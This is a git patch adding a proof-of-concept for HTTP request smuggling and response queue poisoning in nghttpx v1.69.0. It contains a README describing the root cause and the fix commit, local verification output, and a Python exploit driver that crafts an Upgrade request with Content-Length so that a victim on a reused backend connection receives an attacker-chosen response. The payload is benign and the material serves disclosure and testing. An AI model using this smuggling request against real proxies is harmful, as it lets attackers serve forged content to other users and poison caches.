From 083e08e094650a1c69c56cc8537ce6860189bb0e Mon Sep 17 00:00:00 2001 From: ashton <63224111+bikini@users.noreply.github.com> Date: Fri, 26 Jun 2026 05:52:17 -0500 Subject: [PATCH] Add nghttp2 nghttpx upgrade queue poison PoC --- README.md | 3 +- .../README.md | 193 ++++++++++++ .../evidence/local-verification.txt | 56 ++++ .../poc.py | 278 ++++++++++++++++++ 4 files changed, 529 insertions(+), 1 deletion(-) create mode 100644 nghttp2-nghttpx-upgrade-queue-poison-poc/README.md create mode 100644 nghttp2-nghttpx-upgrade-queue-poison-poc/evidence/local-verification.txt create mode 100644 nghttp2-nghttpx-upgrade-queue-poison-poc/poc.py diff --git a/README.md b/README.md index 85041c9..c7ab650 100644 --- a/README.md +++ b/README.md @@ -28,6 +28,7 @@ Most folders contain one of my former standalone PoC repos, preserved with its o | `libssh2-publickey-list-calc-poc` | direct entry, June 25, 2026 | 10 | | `lunar-modrinth-chain-poc` | `ffd02120708b6503f11585858ce3724872f3b7a7` | 6 | | `mybb-limited-acp-to-admin` | `1610e0373943c2f6562a99f917d3a3d1fdd9056d` | 5 | +| `nghttp2-nghttpx-upgrade-queue-poison-poc` | direct entry, June 26, 2026 | 3 | | `nmap-ipv6-extlen-wrap-poc` | direct entry, June 23, 2026 | 4 | | `objdump-dlx-calc-poc` | `7df01e4e20c7375a89e8ccf760526c52eb6ad582` | 41 | | `openvpn-connect-echo-script-ace-poc` | `d2f904d9272d4388c9862131d40e32e072e85e38` | 8 | @@ -53,4 +54,4 @@ Matching Git blob IDs means the tracked file bytes are identical. The check cove This repository preserves the contents of those PoCs. Repository-level metadata such as stars, issues, pull requests, releases, and separate Git history remain in the original repository histories. -Direct entries, including `c-ares-tcp-uaf-calc-poc`, `firefox-smartwindow-private-url-exfil-poc`, `floci-apigateway-vtl-rce-poc`, `libssh2-cve-2026-55200-poc`, `libssh2-publickey-list-calc-poc`, `nmap-ipv6-extlen-wrap-poc`, `php857-streambucket-soap-rce-rpoc`, `rustdesk-session-permission-pocs`, and `systeminformer-phsvc-trusted-host-lpe-poc`, are tracked by this repository's commit history. +Direct entries, including `c-ares-tcp-uaf-calc-poc`, `firefox-smartwindow-private-url-exfil-poc`, `floci-apigateway-vtl-rce-poc`, `libssh2-cve-2026-55200-poc`, `libssh2-publickey-list-calc-poc`, `nghttp2-nghttpx-upgrade-queue-poison-poc`, `nmap-ipv6-extlen-wrap-poc`, `php857-streambucket-soap-rce-rpoc`, `rustdesk-session-permission-pocs`, and `systeminformer-phsvc-trusted-host-lpe-poc`, are tracked by this repository's commit history. diff --git a/nghttp2-nghttpx-upgrade-queue-poison-poc/README.md b/nghttp2-nghttpx-upgrade-queue-poison-poc/README.md new file mode 100644 index 0000000..4cf8d3a --- /dev/null +++ b/nghttp2-nghttpx-upgrade-queue-poison-poc/README.md @@ -0,0 +1,193 @@ +# nghttp2 nghttpx HTTP/1.1 Upgrade Body Response Queue Poisoning PoC + +This directory documents and validates an HTTP/1.1 Upgrade request body desynchronization in `nghttpx`, the reverse proxy shipped in the nghttp2 project. + +`nghttpx` accepts an HTTP/1.1 Upgrade request carrying `Content-Length`, forwards the request header set to an HTTP/1.1 backend, and forwards the body bytes on the same backend connection. An Upgrade-aware backend can treat the message as an Upgrade attempt and leave bytes after the header terminator to be parsed as the next HTTP request. When `nghttpx` reuses that backend connection for another frontend client, the queued response to the attacker-supplied backend request can be delivered to the victim client. + +The PoC uses a benign payload string, `SMUGGLED-BENIGN-PAYLOAD`, as the attacker-controlled response body. The exploit result is visible when a victim request for `/victim` receives this payload instead of the backend's normal `VICTIM-RESPONSE`. + +Research status: verified locally end to end against a real `nghttpx` binary from nghttp2 `v1.69.0`, with a fixed-control run against upstream master. + +## Affected Target + +- Product: nghttp2 +- Component: `nghttpx` +- Version analyzed: `v1.69.0` +- Release commit: `68cb6900fde14c77f0cd7add0e094a862960eb99` +- Fixed upstream commit: `ab28105c4a0197da24f8bfc414bc116055249e1e` +- Fixed commit title: `nghttpx: Tighten up CONNECT and HTTP Upgrade handling` +- Service surface: cleartext HTTP/1.1 frontend to HTTP/1.1 backend reverse proxying +- Impact: cross-client response queue poisoning through backend connection reuse + +## Impact + +An unauthenticated client can send a single crafted Upgrade request to place an attacker-chosen request into the backend HTTP/1.1 response queue. A subsequent client routed onto the same backend connection can receive the attacker's response. + +In an application deployment, the primitive can be used to serve attacker-controlled same-origin content to another user, confuse application routing, poison an intermediate cache that trusts `nghttpx` response boundaries, or deliver a response belonging to an attacker-selected backend route under a victim request. + +The local exploit demonstrates the queue poisoning directly: + +```text +attacker request: GET /upgrade with Upgrade: websocket and a body containing GET /poisoned +attacker response: UPGRADE-REJECT +victim request: GET /victim +victim response: SMUGGLED-BENIGN-PAYLOAD +``` + +## Preconditions + +- The attacker can connect to an `nghttpx` HTTP/1.1 frontend. +- `nghttpx` proxies to an HTTP/1.1 backend with reusable keep-alive connections. +- The backend applies Upgrade-oriented parsing behavior where bytes after an Upgrade request header terminator are interpreted as the next HTTP request rather than as an HTTP request body. +- The attacker can choose a backend route whose response can be delayed long enough for the next frontend request to be assigned to the same backend connection. + +The PoC includes a small backend server that implements the relevant Upgrade behavior and response delay. The target process is the supplied real `nghttpx` binary. + +## Root Cause + +The vulnerable flow starts in the HTTP/1.1 frontend parser. An Upgrade request is accepted even when it carries `Content-Length`: + +```text +GET /upgrade HTTP/1.1 +Host: target +Connection: Upgrade +Upgrade: websocket +Content-Length: 43 + +GET /poisoned HTTP/1.1 +Host: backend +``` + +The request is converted and forwarded to the backend through `HttpDownstreamConnection::push_request_headers()`. In `v1.69.0`, the backend request preserves both the Upgrade headers and the `Content-Length` header. The buffered frontend body is then copied into the backend request buffer by `HttpDownstreamConnection::process_blocked_request_buf()`. + +Relevant source behavior in `v1.69.0`: + +| File | Behavior | +| --- | --- | +| `src/shrpx_downstream.cc` | Marks non-h2c HTTP/1.1 Upgrade requests through `req_.upgrade_request` | +| `src/shrpx_https_upstream.cc` | Accepts an Upgrade request with `Content-Length` and dispatches it to a backend connection | +| `src/shrpx_http_downstream_connection.cc` | Forwards original request headers, including `Content-Length`, and forwards the buffered body | +| `src/shrpx_https_upstream.cc` | Detaches and reuses backend connections after response completion when the request state is complete | + +The fixed upstream commit adds explicit rejection for `CONNECT` or Upgrade requests carrying `Transfer-Encoding` or `Content-Length`: + +```text +transfer-encoding and content-length are not allowed in CONNECT or upgrade request +``` + +It also changes request body blocking around Upgrade handling so body bytes are held until the backend Upgrade response establishes a tunnel. + +## Exploit Flow + +1. The PoC starts a backend that keeps HTTP/1.1 connections alive. +2. The backend treats `Upgrade` as a boundary and parses bytes after the header terminator as another request. +3. The PoC starts the supplied `nghttpx` binary with a cleartext frontend and the local backend. +4. The attacker client sends `GET /upgrade` with `Upgrade: websocket` and `Content-Length`. +5. The attacker body contains a complete smuggled request: `GET /poisoned HTTP/1.1`. +6. `nghttpx` forwards the Upgrade request and the body to the backend. +7. The backend replies to `/upgrade` with `UPGRADE-REJECT`. +8. The backend parses `/poisoned` from the forwarded body and delays its response. +9. The attacker connection closes after receiving `UPGRADE-REJECT`. +10. The victim client sends `GET /victim`. +11. `nghttpx` reuses the same backend connection. +12. The delayed `/poisoned` response is read as the victim response. + +## Files + +- `poc.py` - stdlib-only Python exploit driver. It starts a real `nghttpx` target process, drives attacker and victim frontend clients, and prints a JSON result. +- `evidence/local-verification.txt` - local vulnerable and fixed-control transcripts. + +## Usage + +Build or provide an nghttp2 `v1.69.0` `nghttpx` binary, then run: + +```bash +python3 poc.py --nghttpx ./build/src/nghttpx --cwd ./nghttp2-v1.69.0 +``` + +Run with verbose protocol traces: + +```bash +python3 poc.py --nghttpx ./build/src/nghttpx --cwd ./nghttp2-v1.69.0 --verbose +``` + +Run with a custom benign payload: + +```bash +python3 poc.py --nghttpx ./build/src/nghttpx --cwd ./nghttp2-v1.69.0 --payload "BENIGN-QUEUE-POISON" +``` + +Expected vulnerable output: + +```json +{ + "attacker_body": "UPGRADE-REJECT", + "victim_body": "SMUGGLED-BENIGN-PAYLOAD", + "victim_received_poison": true, + "victim_received_expected": false +} +``` + +Run a fixed-control binary: + +```bash +python3 poc.py --nghttpx ./build-fixed/src/nghttpx --cwd ./nghttp2-fixed --expect-fixed +``` + +Expected fixed-control output: + +```json +{ + "attacker_body": "", + "victim_body": "VICTIM-RESPONSE", + "victim_received_poison": false, + "victim_received_expected": true +} +``` + +## Local Verification + +The vulnerable run used `nghttpx nghttp2/1.69.0`. The fixed-control run used upstream master after `ab28105c`, reporting `nghttpx nghttp2/1.69.90`. + +Vulnerable result: + +```text +"attacker_body": "UPGRADE-REJECT" +"victim_body": "SMUGGLED-BENIGN-PAYLOAD" +"victim_received_poison": true +"victim_received_expected": false +"backend_requests": [ + [ + "GET /upgrade HTTP/1.1", + "GET /poisoned HTTP/1.1", + "GET /victim HTTP/1.1" + ], + [] +] +``` + +Fixed-control result: + +```text +"attacker_body": "400 Bad Request

400 Bad Request

" +"victim_body": "VICTIM-RESPONSE" +"victim_received_poison": false +"victim_received_expected": true +"backend_requests": [ + [ + "GET /victim HTTP/1.1" + ], + [] +] +``` + +## Patch Behavior + +The upstream fix rejects the attacker request before backend dispatch: + +```text +HTTP/1.1 400 Bad Request +Connection: close +``` + +The victim request then reaches the backend as the first request on a clean backend connection and receives the expected response. diff --git a/nghttp2-nghttpx-upgrade-queue-poison-poc/evidence/local-verification.txt b/nghttp2-nghttpx-upgrade-queue-poison-poc/evidence/local-verification.txt new file mode 100644 index 0000000..eb71beb --- /dev/null +++ b/nghttp2-nghttpx-upgrade-queue-poison-poc/evidence/local-verification.txt @@ -0,0 +1,56 @@ +Local verification date: 2026-06-26 + +Vulnerable target: + +nghttp2 v1.69.0 +nghttpx nghttp2/1.69.0 +release commit 68cb6900fde14c77f0cd7add0e094a862960eb99 + +Command: + +python3 poc.py --nghttpx ./build-v1.69.0/src/nghttpx --cwd ./nghttp2-v1.69.0 + +Output: + +{ + "attacker_body": "UPGRADE-REJECT", + "victim_body": "SMUGGLED-BENIGN-PAYLOAD", + "victim_received_poison": true, + "victim_received_expected": false, + "backend_connections": 2, + "backend_requests": [ + [ + "GET /upgrade HTTP/1.1", + "GET /poisoned HTTP/1.1", + "GET /victim HTTP/1.1" + ], + [] + ], + "nghttpx_returncode": -15 +} + +Fixed-control target: + +upstream master after ab28105c4a0197da24f8bfc414bc116055249e1e +nghttpx nghttp2/1.69.90 + +Command: + +python3 poc.py --nghttpx ./build-fixed/src/nghttpx --cwd ./nghttp2-fixed --expect-fixed + +Output: + +{ + "attacker_body": "400 Bad Request

400 Bad Request

", + "victim_body": "VICTIM-RESPONSE", + "victim_received_poison": false, + "victim_received_expected": true, + "backend_connections": 2, + "backend_requests": [ + [ + "GET /victim HTTP/1.1" + ], + [] + ], + "nghttpx_returncode": -15 +} diff --git a/nghttp2-nghttpx-upgrade-queue-poison-poc/poc.py b/nghttp2-nghttpx-upgrade-queue-poison-poc/poc.py new file mode 100644 index 0000000..09b2996 --- /dev/null +++ b/nghttp2-nghttpx-upgrade-queue-poison-poc/poc.py @@ -0,0 +1,278 @@ +import argparse +import json +import os +import socket +import subprocess +import sys +import threading +import time + + +def free_port(host): + with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock: + sock.bind((host, 0)) + return sock.getsockname()[1] + + +def wait_port(host, port, timeout): + deadline = time.time() + timeout + while time.time() < deadline: + try: + with socket.create_connection((host, port), timeout=0.1): + return True + except OSError: + time.sleep(0.05) + return False + + +def read_response(sock, timeout): + sock.settimeout(0.2) + chunks = [] + deadline = time.time() + timeout + while time.time() < deadline: + try: + data = sock.recv(65536) + except socket.timeout: + continue + except OSError: + break + if not data: + break + chunks.append(data) + joined = b"".join(chunks) + marker = joined.find(b"\r\n\r\n") + if marker < 0: + continue + head = joined[: marker + 4] + content_length = 0 + for line in head.split(b"\r\n")[1:]: + if line.lower().startswith(b"content-length:"): + content_length = int(line.split(b":", 1)[1].strip()) + if len(joined) >= marker + 4 + content_length: + break + return b"".join(chunks) + + +def response_body(response): + marker = response.find(b"\r\n\r\n") + if marker < 0: + return b"" + return response[marker + 4 :] + + +def printable(data): + return data.decode("latin1", "replace").replace("\r", "\\r").replace("\n", "\\n\n") + + +class UpgradeBackend: + def __init__(self, host, delay, poison_body): + self.host = host + self.port = free_port(host) + self.delay = delay + self.poison_body = poison_body + self.ready = threading.Event() + self.stop = threading.Event() + self.records = [] + self.thread = threading.Thread(target=self.run, daemon=True) + + def start(self): + self.thread.start() + if not self.ready.wait(5): + raise RuntimeError("backend startup timed out") + + def close(self): + self.stop.set() + try: + with socket.create_connection((self.host, self.port), timeout=0.2): + pass + except OSError: + pass + self.thread.join(timeout=2) + + def run(self): + with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as srv: + srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + srv.bind((self.host, self.port)) + srv.listen(16) + srv.settimeout(0.2) + self.ready.set() + while not self.stop.is_set(): + try: + conn, addr = srv.accept() + except socket.timeout: + continue + except OSError: + break + rec = {"addr": addr, "requests": [], "events": [], "raw": bytearray()} + self.records.append(rec) + threading.Thread(target=self.handle, args=(conn, rec), daemon=True).start() + + def send_response(self, conn, rec, status, body): + response = ( + f"HTTP/1.1 {status}\r\n".encode() + + f"Content-Length: {len(body)}\r\n".encode() + + b"Connection: keep-alive\r\n" + + b"\r\n" + + body + ) + conn.sendall(response) + rec["events"].append(f"sent:{status}:{body.decode('latin1', 'replace')}") + + def handle(self, conn, rec): + buf = bytearray() + with conn: + conn.settimeout(0.2) + deadline = time.time() + 10 + while time.time() < deadline and not self.stop.is_set(): + try: + data = conn.recv(65536) + except socket.timeout: + data = b"" + except OSError as exc: + rec["events"].append(f"recv-error:{exc.__class__.__name__}") + return + if data: + rec["raw"].extend(data) + buf.extend(data) + rec["events"].append(f"recv:{len(data)}") + while True: + marker = buf.find(b"\r\n\r\n") + if marker < 0: + break + head = bytes(buf[: marker + 4]) + lines = head.split(b"\r\n") + reqline = lines[0].decode("latin1", "replace") + fields = {} + for line in lines[1:]: + if b":" in line: + k, v = line.split(b":", 1) + fields[k.strip().lower()] = v.strip().lower() + ignore_body = b"upgrade" in fields + content_length = 0 if ignore_body else int(fields.get(b"content-length", b"0") or b"0") + total = marker + 4 + content_length + if len(buf) < total: + break + del buf[:total] + parts = reqline.split(" ") + path = parts[1] if len(parts) > 1 else "/" + rec["requests"].append(reqline) + if path == "/upgrade": + self.send_response(conn, rec, "200 OK", b"UPGRADE-REJECT") + elif path == "/poisoned": + time.sleep(self.delay) + self.send_response(conn, rec, "200 OK", self.poison_body) + elif path == "/victim": + self.send_response(conn, rec, "200 OK", b"VICTIM-RESPONSE") + else: + self.send_response(conn, rec, "404 Not Found", b"UNKNOWN") + if not data: + continue + + +def launch_nghttpx(args, backend): + port = free_port(args.host) + cmd = [ + args.nghttpx, + "-f", + f"{args.host},{port};no-tls", + "-b", + f"{args.host},{backend.port}", + "--workers=1", + f"--backend-keep-alive-timeout={args.backend_keepalive}s", + "--errorlog-file=-", + ] + proc = subprocess.Popen(cmd, cwd=args.cwd, stdout=subprocess.PIPE, stderr=subprocess.PIPE) + if not wait_port(args.host, port, 5): + proc.kill() + proc.wait(timeout=2) + raise RuntimeError("nghttpx frontend did not open") + return proc, port + + +def run(args): + poison_body = args.payload.encode("utf-8") + backend = UpgradeBackend(args.host, args.delay, poison_body) + backend.start() + proc, frontend_port = launch_nghttpx(args, backend) + smuggled = b"GET /poisoned HTTP/1.1\r\nHost: backend\r\n\r\n" + attacker_payload = ( + b"GET /upgrade HTTP/1.1\r\n" + b"Host: target\r\n" + b"Connection: Upgrade\r\n" + b"Upgrade: websocket\r\n" + b"Content-Length: " + + str(len(smuggled)).encode() + + b"\r\n" + b"\r\n" + + smuggled + ) + victim_payload = b"GET /victim HTTP/1.1\r\nHost: target\r\n\r\n" + try: + with socket.create_connection((args.host, frontend_port), timeout=2) as s1: + s1.sendall(attacker_payload) + attacker_response = read_response(s1, args.read_timeout) + time.sleep(args.victim_wait) + with socket.create_connection((args.host, frontend_port), timeout=2) as s2: + s2.sendall(victim_payload) + victim_response = read_response(s2, args.read_timeout) + time.sleep(0.5) + finally: + proc.terminate() + try: + proc.wait(timeout=2) + except subprocess.TimeoutExpired: + proc.kill() + proc.wait(timeout=2) + backend.close() + stdout = proc.stdout.read() if proc.stdout else b"" + stderr = proc.stderr.read() if proc.stderr else b"" + attacker_body = response_body(attacker_response) + victim_body = response_body(victim_response) + result = { + "attacker_body": attacker_body.decode("latin1", "replace"), + "victim_body": victim_body.decode("latin1", "replace"), + "victim_received_poison": poison_body in victim_body, + "victim_received_expected": b"VICTIM-RESPONSE" in victim_body, + "backend_connections": len(backend.records), + "backend_requests": [rec["requests"] for rec in backend.records], + "nghttpx_returncode": proc.returncode, + } + print(json.dumps(result, indent=2)) + if args.verbose: + print("attacker_response:") + print(printable(attacker_response)) + print("victim_response:") + print(printable(victim_response)) + print("backend_trace:") + for rec in backend.records: + print(json.dumps({"requests": rec["requests"], "events": rec["events"]}, indent=2)) + if stdout or stderr: + print("nghttpx_output:") + print(printable((stdout + stderr)[-4000:])) + if args.expect_fixed: + return 0 if result["victim_received_expected"] and not result["victim_received_poison"] else 1 + return 0 if result["victim_received_poison"] else 1 + + +def main(): + parser = argparse.ArgumentParser() + parser.add_argument("--nghttpx", required=True) + parser.add_argument("--cwd", default=os.getcwd()) + parser.add_argument("--host", default="127.0.0.1") + parser.add_argument("--payload", default="SMUGGLED-BENIGN-PAYLOAD") + parser.add_argument("--delay", type=float, default=1.0) + parser.add_argument("--victim-wait", type=float, default=0.2) + parser.add_argument("--read-timeout", type=float, default=2.0) + parser.add_argument("--backend-keepalive", type=int, default=10) + parser.add_argument("--expect-fixed", action="store_true") + parser.add_argument("--verbose", action="store_true") + args = parser.parse_args() + try: + return run(args) + except Exception as exc: + print(f"[-] {exc}", file=sys.stderr) + return 1 + + +if __name__ == "__main__": + raise SystemExit(main())